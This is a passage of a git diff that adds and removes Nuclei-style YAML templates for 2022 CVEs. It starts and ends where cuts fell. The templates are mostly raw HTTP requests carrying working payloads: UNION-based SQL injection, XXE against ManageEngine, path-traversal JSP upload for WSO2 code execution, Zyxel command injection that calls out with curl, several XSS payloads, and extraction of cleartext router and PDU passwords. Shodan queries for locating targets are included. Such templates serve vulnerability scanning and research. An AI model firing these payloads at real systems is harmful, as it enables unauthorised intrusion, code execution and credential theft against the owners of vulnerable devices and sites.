lucasljm2001,ekrause + severity: critical + description: | + Microfinance Management System 1.0 is susceptible to SQL Injection. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip + - https://www.exploit-db.com/exploits/50891 + - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-27927 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,microfinance +variables: + num: "999999999" +requests: + - raw: + - | + GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/poc/cve/cve-2022-28080(1).yaml b/poc/cve/cve-2022-28080(1).yaml deleted file mode 100644 index dc59377c75..0000000000 --- a/poc/cve/cve-2022-28080(1).yaml +++ /dev/null @@ -1,65 +0,0 @@ -id: CVE-2022-28080 -info: - name: Royal Event - SQL Injection - author: lucasljm2001,ekrause,ritikchaddha - severity: high - description: | - Detects an SQL Injection vulnerability in Royal Event System - reference: - - https://www.exploit-db.com/exploits/50934 - - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip - - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 - - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2022-28080 - tags: cve,cve2022,sqli,authenticated,cms,royalevent -requests: - - raw: - - | - POST /royal_event/ HTTP/1.1 - Host: {{Hostname}} - Content-Length: 353 - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD - - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="username" - - {{username}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="password" - - {{password}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="login" - - - ------WebKitFormBoundaryCSxQll1eihcqgIgD-- - - | - POST /royal_event/btndates_report.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="todate" - - 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="search" - - 3 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="fromdate" - - 01/01/2011 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - '{{md5("{{randstr}}")}}' - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-28219(1).yaml b/poc/cve/cve-2022-28219(1).yaml new file mode 100644 index 0000000000..a812336fd8 --- /dev/null +++ b/poc/cve/cve-2022-28219(1).yaml @@ -0,0 +1,53 @@ +id: CVE-2022-28219 +info: + name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an + unauthenticated XML entity injection attack that can lead to remote code execution. + reference: + - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html + - https://www.horizon3.ai/red-team-blog-cve-2022-28219/ + - https://manageengine.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-28219 + remediation: | + Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus + is configured with a dedicated service account with restricted privileges. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-28219 + cwe-id: CWE-611 + metadata: + shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus" + verified: "true" + tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth +requests: + - method: POST + path: + - "{{BaseURL}}/api/agent/tabs/agentData" + headers: + Content-Type: application/json + body: | + [ + { + "DomainName": "{{Host}}", + "EventCode": 4688, + "EventType": 0, + "TimeGenerated": 0, + "Task Content": " %xxe; ]>" + } + ] + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + - type: word + part: body + words: + - "ManageEngine" + +# Enhanced by mp on 2022/07/04 diff --git a/poc/cve/cve-2022-29455(1).yaml b/poc/cve/cve-2022-29455(1).yaml deleted file mode 100644 index f87ea5062f..0000000000 --- a/poc/cve/cve-2022-29455(1).yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2022-29455 -info: - name: Wordpress Elementor <= 3.5.5 - DOM-based Reflected Cross-Site Scripting - author: rotembar,daffainfo - severity: medium - description: | - DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 - - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor - - https://www.rotem-bar.com/elementor - - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-29455 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2022,xss,wordpress,elementor -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/elementor/readme.txt' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Elementor Website Builder' - - type: dsl - dsl: - - compare_versions(version, '<= 3.5.5') - - type: status - status: - - 200 - extractors: - - type: regex - name: version - internal: true - group: 1 - regex: - - "(?m)Stable tag: ([0-9.]+)" - - type: regex - group: 1 - regex: - - "(?m)Stable tag: ([0-9.]+)" diff --git a/poc/cve/cve-2022-29455.yaml b/poc/cve/cve-2022-29455.yaml deleted file mode 100644 index 0f373036cb..0000000000 --- a/poc/cve/cve-2022-29455.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2022-29455 - -info: - name: Wordpress Elementor <= 3.5.5 | Dom based XSS - author: rotembar - severity: high - description: | - dom based xss in elementor - reference: - - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29455 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 - - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor - metadata: - verified: "true" - tags: cve,cve2022,xss - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js" - matchers-condition: and - matchers: - - type: regex - regex: - - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" - part: body - - type: status - status: - - 200 - extractors: - - type: regex # type of the extractor - part: body # part of the response (header,body,all) - name: version - group: 1 - regex: - - "!\\s*elementor[\\s-]*v([0-9.]+)" diff --git a/poc/cve/cve-2022-29464(1).yaml b/poc/cve/cve-2022-29464(1).yaml deleted file mode 100644 index 9326e5f753..0000000000 --- a/poc/cve/cve-2022-29464(1).yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2022-29464 -info: - name: WSO2 Management - Arbitrary File Upload & Remote Code Execution - author: luci,dhiyaneshDk - severity: critical - description: | - Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. - reference: - - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ - - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - - https://github.com/hakivvi/CVE-2022-29464 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-29464 - cwe-id: CWE-434 - metadata: - shodan-query: http.favicon.hash:1398055326 - tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev -requests: - - raw: - - | - POST /fileupload/toolsAny HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311 - Content-Length: 348 - - -----------------------------250033711231076532771336998311 - Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp" - Content-Type: application/octet-stream - - <% out.print("WSO2-RCE-CVE-2022-29464"); %> - -----------------------------250033711231076532771336998311-- - - | - GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 - Host: {{Hostname}} - req-condition: true - matchers: - - type: dsl - dsl: - - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" - -# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-30073(1).yaml b/poc/cve/cve-2022-30073(1).yaml new file mode 100644 index 0000000000..6ffd826db8 --- /dev/null +++ b/poc/cve/cve-2022-30073(1).yaml @@ -0,0 +1,63 @@ +id: CVE-2022-30073 +info: + name: WBCE CMS v1.5.2 XSS Stored + author: arafatansari + severity: medium + description: | + WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS) via \admin\user\save.php Display Name parameters. + reference: + - https://github.com/APTX-4879/CVE + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30073 + - https://github.com/APTX-4879/CVE/blob/main/CVE-2022-30073.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2022-30073 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,wbcecms,xss +requests: + - raw: + - | + POST /admin/login/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login + - | + GET /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + - | + POST /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + formtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit= + - | + GET /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + extractors: + - type: regex + name: formtoken + part: body + group: 1 + regex: + - '' + internal: true + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "

" + - "WBCECMS" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-30489(1).yaml b/poc/cve/cve-2022-30489(1).yaml new file mode 100644 index 0000000000..fa2302aea9 --- /dev/null +++ b/poc/cve/cve-2022-30489(1).yaml @@ -0,0 +1,42 @@ +id: CVE-2022-30489 +info: + name: Wavlink Wn535g3 - POST XSS + author: For3stCo1d + severity: medium + description: | + WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. + reference: + - https://github.com/badboycxcc/XSS-CVE-2022-30489 + - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 + - https://github.com/badboycxcc/XSS + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30489 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: xss,cve2022,wavlink,cve,router,iot +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn + matchers-condition: and + matchers: + - type: word + words: + - '' + - 'parent.location.replace("http://")' + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-30525(1).yaml b/poc/cve/cve-2022-30525(1).yaml deleted file mode 100644 index f1fe6f3456..0000000000 --- a/poc/cve/cve-2022-30525(1).yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-30525 -info: - name: Zyxel Firewall - OS Command Injection - author: h1ei1,prajiteshsingh - severity: critical - description: | - An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. - reference: - - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - - https://github.com/rapid7/metasploit-framework/pull/16563 - - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-30525 - cwe-id: CWE-78 - metadata: - shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" - tags: rce,zyxel,cve,cve2022,firewall,unauth,kev -requests: - - raw: - - | - POST /ztp/cgi-bin/handler HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - type: status - status: - - 500 - -# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-30776(1).yaml b/poc/cve/cve-2022-30776(1).yaml deleted file mode 100644 index 13cca2459e..0000000000 --- a/poc/cve/cve-2022-30776(1).yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-30776 -info: - name: Atmail - Cross Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. - reference: - - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 - - https://www.atmail.com/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 - - https://help.atmail.com/hc/en-us/sections/115003283988 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30776 - cwe-id: CWE-79 - metadata: - shodan-query: http.html:"atmail" - verified: "true" - tags: cve,cve2022,atmail,xss -requests: - - method: GET - path: - - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Error: 1" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-30777(1).yaml b/poc/cve/cve-2022-30777(1).yaml deleted file mode 100644 index 2c50f208fc..0000000000 --- a/poc/cve/cve-2022-30777(1).yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-30777 -info: - name: Parallels H-Sphere - Cross Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. - reference: - - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - - https://en.wikipedia.org/wiki/H-Sphere - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30777 - cwe-id: CWE-79 - metadata: - shodan-query: title:"h-sphere" - verified: "true" - tags: cve,cve2022,parallels,hsphere,xss -requests: - - method: GET - path: - - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - '"><script>alert(document.domain)</script>' - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-31373(1).yaml b/poc/cve/cve-2022-31373(1).yaml deleted file mode 100644 index c09b86777f..0000000000 --- a/poc/cve/cve-2022-31373(1).yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2022-31373 -info: - name: SolarView Compact 6.00 - Cross-Site Scripting(XSS) - author: ritikchaddha - severity: medium - description: | - SolarView Compact v6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component Solar_AiConf.php. - reference: - - https://github.com/badboycxcc/SolarView_Compact_6.0_xss - - https://nvd.nist.gov/vuln/detail/CVE-2022-31373 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-31373 - cwe-id: CWE-79 - metadata: - shodan-query: http.html:"SolarView Compact" - verified: "true" - tags: cve,cve2022,xss,solarview -requests: - - method: GET - path: - - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '/Solar_AiConf.php/"><script>alert(document.domain)</script>' - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-32018(1).yaml b/poc/cve/cve-2022-32018(1).yaml deleted file mode 100644 index 1fa8cbf9bc..0000000000 --- a/poc/cve/cve-2022-32018(1).yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-32018 -info: - name: Complete Online Job Search System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32018 - cwe-id: CWE-89 - metadata: - verified: "true" - tags: cve,cve2022,sqli -variables: - num: "999999999" -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' diff --git a/poc/cve/cve-2022-32028(1).yaml b/poc/cve/cve-2022-32028(1).yaml deleted file mode 100644 index 6afb4dca59..0000000000 --- a/poc/cve/cve-2022-32028(1).yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-32028 -info: - name: Car Rental Management System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32028 - cwe-id: CWE-89 - metadata: - comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. - shodan-query: http.html:"Car Rental Management System" - verified: "true" - tags: cve,cve2022,carrental,cms,sqli,authenticated -variables: - num: "999999999" -requests: - - raw: - - | - POST /admin/ajax.php?action=login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 - Host: {{Hostname}} - skip-variables-check: true - redirects: true - max-redirects: 2 - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-32159(1).yaml b/poc/cve/cve-2022-32159(1).yaml deleted file mode 100644 index d6d29fc1b8..0000000000 --- a/poc/cve/cve-2022-32159(1).yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-32159 -info: - name: Open edX - Cross-site Scripting - author: arafatansari - severity: medium - description: | - Open edX platform before 2022-06-06 allows Reflected Cross-site Scripting via the "next" parameter in the logout URL. - reference: - - https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408 - - https://nvd.nist.gov/vuln/detail/CVE-2022-32159 - - https://www.mend.io/vulnerability-database/CVE-2022-32159 - - https://github.com/internetarchive/infogami/pull/195/commits/ccc2141c5fb093870c9e2742c01336ecca8cd12e - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-32159 - cwe-id: CWE-79 - metadata: - comment: Hover the cursor on the redirect link - shodan-query: http.html:"Open edX" - verified: "true" - tags: cve,cve2022,openedx,xss -requests: - - method: GET - path: - - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '<a href="+8"onmouseover="alert(document.domain)">click here to go to' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-32159.yaml b/poc/cve/cve-2022-32159.yaml index f308a4fada..d6d29fc1b8 100644 --- a/poc/cve/cve-2022-32159.yaml +++ b/poc/cve/cve-2022-32159.yaml @@ -1,5 +1,4 @@ id: CVE-2022-32159 - info: name: Open edX - Cross-site Scripting author: arafatansari @@ -21,24 +20,20 @@ info: shodan-query: http.html:"Open edX" verified: "true" tags: cve,cve2022,openedx,xss - requests: - method: GET path: - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)' - matchers-condition: and matchers: - type: word part: body words: - '<a href="+8"onmouseover="alert(document.domain)">click here to go to' - - type: word part: header words: - text/html - - type: status status: - 200 diff --git a/poc/cve/cve-2022-33174(1).yaml b/poc/cve/cve-2022-33174(1).yaml deleted file mode 100644 index 26dd8298df..0000000000 --- a/poc/cve/cve-2022-33174(1).yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-33174 -info: - name: Powertek Firmware - Authorization Bypass - author: pikpikcu - severity: high - description: | - Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. - reference: - - https://gynvael.coldwind.pl/?lang=en&id=748 - - https://nvd.nist.gov/vuln/detail/CVE-2022-33174 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-33174 - cwe-id: CWE-863 - metadata: - shodan-query: http.html:"Powertek" - verified: "true" - tags: cve,cve2022,powertek,auth-bypass -requests: - - raw: - - | - GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1 - Host: {{Hostname}} - Cookie: tmpToken=; - matchers-condition: and - matchers: - - type: word - words: - - '<sys.passwd>' - - '<sys.su.name>' - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>' - - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>' diff --git a/poc/cve/cve-2022-34046(1).yaml b/poc/cve/cve-2022-34046(1).yaml deleted file mode 100644 index 0e55de9a03..0000000000 --- a/poc/cve/cve-2022-34046(1).yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2022-34046 -info: - name: Wavlink Sysinit.shtml - Password Exposure - author: For3stCo1d - severity: high - description: | - An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);]. - reference: - - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046 - metadata: - verified: true - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,wavlink,router,exposure -requests: - - raw: - - | - GET /sysinit.shtml?r=52300 HTTP/1.1 - Host: {{Hostname}} - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'var syspasswd="' - - '<title>APP' - condition: and - - type: status - status: - - 200 - extractors: - - type: regex - regex: - - 'syspasswd="(.+?)"' diff --git a/poc/cve/cve-2022-34047(1).yaml b/poc/cve/cve-2022-34047(1).yaml new file mode 100644 index 0000000000..4601f6daa5 --- /dev/null +++ b/poc/cve/cve-2022-34047(1).yaml @@ -0,0 +1,34 @@ +id: CVE-2022-34047 +info: + name: Wavlink Set_safety.shtml - Password Exposure + author: For3stCo1d + severity: high + description: | + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd]. + reference: + - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047 + metadata: + verified: true + shodan-query: http.title:"Wi-Fi APP Login" + tags: cve,cve2022,wavlink,router,exposure +requests: + - raw: + - | + GET /set_safety.shtml?r=52300 HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var syspasswd="' + - 'APP' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + regex: + - 'syspasswd="(.+?)"' diff --git a/poc/cve/cve-2022-34048(1).yaml b/poc/cve/cve-2022-34048(1).yaml new file mode 100644 index 0000000000..7292a945a4 --- /dev/null +++ b/poc/cve/cve-2022-34048(1).yaml @@ -0,0 +1,41 @@ +id: CVE-2022-34048 +info: + name: Wavlink WN533A8 - Cross-Site Scripting (XSS) + author: ritikchaddha + severity: medium + description: | + Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter. + reference: + - https://www.exploit-db.com/exploits/50989 + - https://nvd.nist.gov/vuln/detail/CVE-2022-34048 + - https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing + - https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-34048 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,xss,router +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + + newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'x");alert(9);x=("?login=0");' + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-34049(1).yaml b/poc/cve/cve-2022-34049(1).yaml deleted file mode 100644 index 6a78378e04..0000000000 --- a/poc/cve/cve-2022-34049(1).yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-34049 -info: - name: Wavlink Exportlogs.sh - Configuration Exposure - author: For3stCo1d - severity: medium - description: | - An access control issue in Wavlink 